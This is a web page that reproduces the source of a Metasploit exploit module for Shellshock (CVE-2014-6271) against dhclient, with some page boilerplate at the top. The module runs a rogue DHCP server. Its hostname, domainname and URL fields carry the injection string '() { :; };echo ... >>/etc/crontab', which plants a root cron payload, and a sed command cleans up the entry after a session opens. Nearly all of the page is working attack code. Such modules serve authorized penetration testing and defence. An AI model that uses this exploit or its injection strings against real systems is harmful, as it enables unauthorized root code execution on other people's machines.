Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/dhcp/bash_environment.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::DHCPServer1011def initialize(info = {})12super(update_info(info,13'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)',14'Description' => %q|15This module exploits the Shellshock vulnerability, a flaw in how the Bash shell16handles external environment variables. This module targets dhclient by responding17to DHCP requests with a malicious hostname, domainname, and URL which are then18passed to the configuration scripts as environment variables, resulting in code19execution. Due to length restrictions and the unusual networking scenario at the20time of exploitation, this module achieves code execution by writing the payload21into /etc/crontab and then cleaning it up after a session is created.22|,23'Author' =>24[25'Stephane Chazelas', # Vulnerability discovery26'egypt' # Metasploit module27],28'License' => MSF_LICENSE,29'Platform' => ['unix'],30'Arch' => ARCH_CMD,31'References' =>32[33[ 'CVE', '2014-6271' ],34[ 'CWE', '94' ],35[ 'OSVDB', '112004' ],36[ 'EDB', '34765' ],37[ 'URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/' ],38[ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ],39[ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]40],41'Payload' =>42{43# 255 for a domain name, minus some room for encoding44'Space' => 200,45'DisableNops' => true,46'Compat' =>47{48'PayloadType' => 'cmd',49'RequiredCmd' => 'generic telnet ruby',50}51},52'Targets' => [ [ 'Automatic Target', { }] ],53'DefaultTarget' => 0,54'DisclosureDate' => '2014-09-24',55'Notes' =>56{57'Stability' => [CRASH_SAFE],58'SideEffects' => [],59'Reliability' => [],60'AKA' => ['Shellshock']61}62))6364deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')6566self.needs_cleanup = true67end6869def on_new_session(session)70print_status "Cleaning up crontab"71# XXX this will brick a server some day72session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")73end7475def exploit76hash = datastore.copy77# Quotes seem to be completely stripped, so other characters have to be78# escaped79p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }80echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"81hash['DOMAINNAME'] = "() { :; };#{echo}"82if hash['DOMAINNAME'].length > 25583raise ArgumentError, 'payload too long'84end8586hash['HOSTNAME'] = "() { :; };#{echo}"87hash['URL'] = "() { :; };#{echo}"88start_service(hash)8990while @dhcp.thread.alive?91sleep 292end93end94end959697